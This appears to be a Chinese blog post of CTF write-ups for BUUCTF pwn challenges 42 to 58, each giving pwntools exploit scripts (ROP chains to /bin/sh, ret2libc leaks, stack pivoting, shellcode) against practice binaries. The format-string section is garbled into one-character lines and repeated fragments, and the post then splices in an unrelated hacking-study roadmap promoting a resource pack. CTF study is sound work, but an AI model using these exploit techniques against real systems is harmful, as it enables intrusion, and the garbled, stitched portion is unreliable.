点击查看代码
from pwn import *
from struct import pack
context.log_level = 'debug'
#context(os = 'linux', arch = 'amd64')
p = process('./buu42')
#p = remote('node5.buuoj.cn', 26148)
elf = ELF('buu42')
def get_payload():
p = b'a'*(0xc+0x4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080b8016) # pop eax ; ret
p += p32(0xb) # pop eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
return p
p.sendline(get_payload())
p.interactive()
buu四十三题(jarvisoj_test_your_memory)
main函数里没啥漏洞,点进去mem_test看看,发现__isoc99_scanf(“%s”, s);函数,这个函数有一个特性就是当它使用 %s 格式说明符来读取输入到字符数组 s 中,直到遇到空白字符(空格、制表符、换行符等)才会停止读取。这意味着函数会读取一个以空白字符结束的字符串。那么栈溢出不就来了吗
再看左边win_func保存了一个system的函数,但是没有传入参数,既然如此那么我们就可以调用它,然后给他传入参数。
刚好程序里有cat flag字符串,那么直接拿来用。但是要注意,p32(system)后面要接p32(main函数的地址),不然打印flag没回显。不过你也可以自己调用read函数写入/bin/sh到一个地址,然后传参
exp:
点击查看代码
from pwn import *
context.log_level = 'debug'
#context(os = 'linux', arch = 'i386')
p = process('./buu43')
#p = remote("node5.buuoj.cn",29330)
elf = ELF('buu43_')
system_addr = elf.symbols['system']
flag_addr = 0x080487E0
system = 0x080485BD
flag = 0x080487E0
payload = b'a'*23 + p32(system) + p32(0x08048678) + p32(flag)
#payload = b'a'*23 + p32(system) + p32(0) + p32(flag)
p.sendline(payload)
p.interactive()
buu四十四题([ZJCTF 2019]EasyHeap)
buu四十五题([Black Watch 入群题]PWN)
点进vuln函数一看就知道是栈溢出+栈迁移漏洞,将0x200多个字节读入s也就是bss段中,然后再读取buf。但是buf溢出的部分十分有限,只能刚好覆盖的rbp和retaddr,所以考虑栈溢出。
这里有没有后门函数,也没可读可写可执行段,所以我们应该选择ret2libc,在s中写入一段gadget然后跳转到s所在的bss段执行该代码。不过各位是不是有疑惑,你刚刚不是才说了没有可读可写可执行段吗?这么现在又要执行bss里面的内容,bss又不是可执行段。没错bss确实不是可执行段但是,里面存放的gadget是可执行的,还记得rop链攻击的原理吗?通过控制返回地址来执行程序执行流的变化,也即是说我们并不是在执行我们写入在bss段的代码,因为真正的代码不是写作bss段的,应该位于text段。我们只是劫持了程序控制流,然后让程序把我们写在bss数据作为指针,然后去解析它,去执行它所指向的代码。而该代码又是存在于text段的自然可执行了。不过竟然有师傅能问出这种问题,还是说明了师傅是个合格的pwn人。OK那我们接着讲,我们可以在s的地址里写入ret2libc的代码,然后执行它,泄露libc的基地址后再跳转回来,再用one_gadget来getshell,之前已经写过一道栈迁移的题目了,所以在这里就不多加赘述了
exp:
点击查看代码
from pwn import *
#context.log_level="debug"
elf=ELF("buu45")
#p=process("./buu45")
p=remote("node5.buuoj.cn",25530)
libc=ELF('libc-2.23.so_16_32')
#gdb.attach(p)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
write_plt=elf.symbols["write"]
write_got=elf.got["write"]
read_plt=elf.sym["read"]
buf=0x0804A300
vul_addr=0x080484FB
rdi=0x00000000004006b3
rsi_r15=0x00000000004006b1
leave=0x08048511
main=elf.sym["main"]
payload1=b'a'*0x4+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.recvline()
p.send(payload1)
p.recvuntil(b"What do you want to say?")
payload2=b'a'*0x18+p32(buf)+p32(leave)
#pause()
p.send(payload2)
write_addr=u32(p.recv(4))
offset=write_addr-libc.sym['write']
#sys_addr=offset+libc.sym['system']
one_gadget=offset+0x3a80e
#bin_addr=offset+next(libc.search(b"/bin/sh"))
p.send(b'a'*0x4+p32(one_gadget))
p.recv()
payload3=b'a'*0x18+p32(buf)+p32(leave)
p.send(payload3)
p.interactive()
buu四十六题(hitcontraining_uaf)
buu四十七题(picoctf_2018_buffer overflow 2)
有get函数,又有打印flag的函数(只是要满足一点点条件而已)。buu第一页也有类似的题。直接丢exp
点击查看代码
from pwn import *
#elf=ELF("./buu47")
p=remote("node5.buuoj.cn",28164)
#p=process("./buu47")
#gdb.attach(p)
ret=0x08048196
payload2=b'a'*(0x6C+0x4)+p32(0x080485CB)+p32(0)+p32(0xDEADBEEF) + p32(0xDEADC0DE)
p.sendline(payload2)
p.interactive()
print(p.recv())
buu四十八题(cmcc_simplerop)
又是一道静态编译的题目,相信那么现在应该能秒杀了,所以我就不详讲了,直接用ret2syscall。当然你要想尝试ropchain去写的话可能会发生一些不愉快的事情
点击查看代码
from pwn import *
p=process("./buu48")
edx_ecx_ebx=0x0806e850
eax=0x080bae06
int_80=0x080493e1
#gdb.attach(p)
p=remote("node5.buuoj.cn",29562)
elf=ELF("./buu48")
buf=0x80EAF90
payload = b'a'*0x20 + p32(elf.sym['read']) + p32(edx_ecx_ebx) + p32(0) + p32(buf) + p32(0x100)
payload += p32(eax) + p32(0xb) + p32(edx_ecx_ebx) + p32(0)*2 + p32(buf) + p32(int_80)
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.recv()
p.interactive()
buu四十九题(wustctf2020_getshell_2)
刚好只能覆盖到retaddr,不过幸好有system函数和和sh\x00字符串,但是由于字数限制,我们只能覆盖0x8个字节。这样的话我们也用不了p32(system)+b’aaaa’+p32(sh_addr)。
这时候我们就需要用到call system指令了,那之前我们getshell时不也有call system指令吗为什么还要加b"aaaa",之前我们是跳转到elf.sym[“system”]。也就是说他会对寄存器进行一些操作之后再call system。我猜里面的push ebp的操作才是导致要在system和sh_addr之间要加四个字节的原因(当然也只是我的猜测,如有不对,欢迎师傅们指出来)。所以这里直接call system的话就可以直接加system的参数了
exp:
点击查看代码
from pwn import *
elf=ELF("./buu49")
#p=process("./buu49")
p=remote("node5.buuoj.cn",27335)
#gdb.attach(p)
#pause()
0x08048529
ret=0x08048196
sh_addr = next(elf.search(b'sh\x00'))
payload2=b'a'*(0x18+0x4)+p32(0x08048529)+p32(sh_addr)
p.sendline(payload2)
p.interactive()
print(p.recv())
buu五十题(mrctf2020_easyoverflow)
先跟着我来分析代码逻辑,其实这题也没啥考的,就看你代码能力行不行
首先把字符串"ju3t_@_f@k3_f1@g"放到v5里面。然后再用get函数读取v4,这题有canary,而且现在我们也不晓得该怎么泄露它,所以栈溢出还是有点困难。但是这个主函数里面有system(“/bin/sh”)了,想着怎么去调用。我们接着往下看,get后面会执行一个check函数,点进去看看他是干什么的
可以看到如果v3的长度等于i的话就可以返回1,然后在主函数中就可以getshell了,但是,问题在于v3的参数是不可控的,已经固定了的。别急我们看到这一行代码
if ( *(_BYTE *)(i + a1) != fake_flag[i] )
a1即为主函数里面的v5
a1的参数显然是可控的,这里给了一个指针指向a1的地址存放的内容,如果不等于fake_flag[i]里面的内容的话就会返回0,从而退出程序。反之如果我们传入fake_flag里面的内容作为a1
的内容的话,那么最后执行一次循环之后i++,所以最后一定可以让i最终等于v3然后返回1,从而getshell。那么我们不是控制不了v5的内容吗?因为我们get的函数是读入v4的。这种事情覆盖就行了
不用我再多说了上exp
点击查看代码
from pwn import *
p=process("./buu50")
#p=remote("node5.buuoj.cn",26562)
elf=ELF("./buu50")
payload=b'a'*0x30+b"n0t_r3@11y_f1@g"
p.sendline(payload)
p.interactive()
buu五十一题(bbys_tu_2016)
scanf函数导致的栈溢出我图都懒得放了,注意一下偏移就行。直接贴exp吧
点击查看代码
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
p = process('./buu51')
#p = remote('node4.buuoj.cn', 27816)
elf = ELF('./buu51')
#libc = ELF('buu/libc-2.23.so')
#p.recv()
payload = b'a'*0x18 + p32(elf.sym['printFlag'])
p.sendline(payload)
print(p.recv())
buu五十二题(xdctf2015_pwn200)
常规的ret2libc
点击查看代码
from pwn import *
p=process("./bof")
#p=remote("node5.buuoj.cn",26666)
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("libc-2.23.so_16_32")
e=ELF("./bof")
write_glt=e.symbols["write"]
write_got=e.got["write"]
back=0x80484D6
p.recvline()
payload1=b'a'*(0x6C+0x4)+p32(write_glt)+p32(back)+p32(1)+p32(write_got)+p32(4)
p.send(payload1)
write_addr=u32(p.recv(0x4))
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=next(libc.search(b'/bin/sh'))
re_sys=write_addr-libc_write+libc_system
re_sh=write_addr-libc_write+libc_sh
payload=b'a'*(0x6C+0x4)+p32(re_sys)+b'aaaa'+p32(re_sh)
p.send(payload)
p.interactive()
buu五十三题(ciscn_2019_s_4)
和buu二十六题(ciscn_2019_es_2)这道题是一样的,想看的可以去看我第一页的博客,我在那里写的比较详细。这里就直接贴exp了
点击查看代码
from pwn import *
p=process("./buu26")
elf=ELF("buu26")
#p=remote("node5.buuoj.cn",28370)
sys=elf.sym["system"]
gdb.attach(p)
leave=0x080485FD
payload=b'a'*36+b"fuck"
p.send(payload)
p.recvuntil(b"fuck")
ebp=u32(p.recv(4))
print(hex(ebp))
p.recv()
payload2=b'a'*0x4+p32(sys)+p32(0)+p32(ebp-0x28)+b"/bin/sh\x00"+b'a'*16+p32(ebp-0x38)+p32(leave)
p.send(payload2)
p.interactive()
buu五十四题(wustctf2020_closed)
buu五十五题([ZJCTF 2019]Login)
c++题目脑袋代码看的云里雾里,看了我师傅的代码后总算搞明白一点了,这种c++的题目很依赖动调能力。
首先密码和账号都给我们了,也就是admin和2jctf_pa5sw0rd
但是这样输入之后程序发生错误了,emmm一开始自己弄了好久都没看懂,现在还是有点迷糊
可以看到最后我们已经进入了最后的函数但是,可能在跳转的时候出来问题,动态调试看看
可以看到执行到这里的时候是call rax但是,此时的rax里面的内容是0x4000b4 ◂— add eax, 0
跳转到这里怎么看都会出错把,OK,那么现在我们要思考的问题就是这个rax是不是可控的,那么我们看汇编
ok 可以看到rax来自[rbp+var_68],那么这个值是可控的吗?又是从哪里来的
在User::read_name函数里面找到了[rbp+var_68]但是它在我们输入的s的上面,显然溢出不了也覆盖不了。
于是现在是一点头绪都没有了,然后去看师傅的wp,跟着师傅的思路写出来了
根据这两张图可以看出来rax最后来自于[rbp+var_18]当然,我现在还不是很清楚这是怎么来的,师傅们先凑合着看把。而这个[rbp+var_18]显然是可以在User::read_name中被覆盖的,而且这个程序里面又有后门函数,那么我们就可以getshell了,exp,如下
点击查看代码
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
#p = process('./login')
p = remote("node5.buuoj.cn",27006)
elf = ELF('./login')
#libc = ELF('buu/libc-2.23.so')
name = b'admin'
pasd = b'2jctf_pa5sw0rd'
pasd= pasd.ljust(0x48, b'\x00') + p32(0x400E88)
p.sendlineafter(b'Please enter username: ', name)
p.sendlineafter(b'Please enter password: ', pasd)
p.interactive()
buu五十六题(jarvisoj_level1)
这题应该可以用ret2shellocde来写,也可以用ret2libc来写,不过用ret2shellcode来写应该会更容易,这里我两种方法都写一下吧.
不过这里各位师傅注意一下,如果有ret2shellocde的话接受会出问题,所能打得通本地打不通远程,但是如果用ret2libc的就就都可以打通
ret2shellcode
点击查看代码
from pwn import *
#p=process("./level17")
p=remote("node5.buuoj.cn",25234)
#gdb.attach(p)
p.recvuntil(b"What's this:")
a=p.recv(10)
stack=int(a,16)
print(hex(stack))
payload=asm(shellcraft.sh())+b'a'*(0x58+0x8)+p32(stack)
print(hex(len(payload)))
p.send(payload)
p.interactive()
//这个远程是打不通的,只有本地打得通
ret2libc
点击查看代码
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./buu56"
#p=process(pwn)
p=remote("node5.buuoj.cn",27445)
elf=ELF(pwn)
#gdb.attach(p)
#pause()
#p.recvline()
payload=b'a'*0x8c+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(0x1)+p32(elf.got['read'])+p32(0x4)
p.send(payload)
read=u32(p.recv(4))
print(hex(read))
libc=ELF("libc-2.23.so_16_32")
libcbase=read-libc.sym['read']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
payload=b'a'*0x8c+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()
buu五十七题(hitcontraining_magicheap)
buu五十八题(axb_2019_fmt32)
这里可以看到格式化字符串printf(format),但是,这个参数是可控的吗。我们read输入的值不是存放在s里面吗?别急这时候我们就要看到sprintf(format, “Repeater:%s\n”, s);这个函数了。
可能有些见多识广的师傅会认出来这个函数的作用,在这里我还是讲一下,这个函数的作用简单来说就是把s里面的内容,插入到Repeater:后面,然后一起存放在format里面,所以说这里的printf参数还是可控的,但是要再提一嘴,这个sprintf函数在写入的字符串末尾必须加一个空字符(有时候程序会帮我们生成)。又因为这是32位的程序,我们可以轻松的将printf_got写入栈上然后打印出来,由于这里的输出有点多我们可以先再printf_got前面加一个stop来标志着后面就是打印got表了。然后泄露出got表之后,我们就可以得到libc基地址。最后也就是prinf改got表了,这里有工具可以该也就是pwntools自带的fmtstr_payload;但是再讲这个之前,我觉得很有必要讲一下原理。首先%k
n
的原理不用我讲了吧,就是往格式化字符串的第
k
个参数写入成功打印的字符数,那么我们假如要把
p
r
i
n
t
f
的
g
o
t
表修改为
s
y
s
t
e
m
的
g
o
t
表岂不是要用
b
"
n的原理不用我讲了吧,就是往格式化字符串的第k个参数写入成功打印的字符数,那么我们假如要把printf的got表修改为system的got表岂不是要用b"%"+system对应的整数+b"c%k
n的原理不用我讲了吧,就是往格式化字符串的第k个参数写入成功打印的字符数,那么我们假如要把printf的got表修改为system的got表岂不是要用b"hhn",%c就是打印空格,如%11c%k$n就是在n前打印11个空格,那么我们是不是把11替换为system对应的整数就可以了呢?当然是不行,打印这么多空格会导致程序强行退出,那怎么办呢?要不你报警把我抓了得了。咳咳,回归正题。不知道师傅们有没有了解过hn和hhn这两个东西,n的话是写入一整个地址,hn中的h我猜是half的意思,那么顾名思义hn是写入一半的地址,hhn是写入四分之一的地址。那么我们来看下面这个例子
以下代码均为本题的exp节选出来的
如何自学黑客&网络安全
黑客零基础入门学习路线&规划
初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。
8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
一些笔者自己买的、其他平台白嫖不到的视频教程。
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!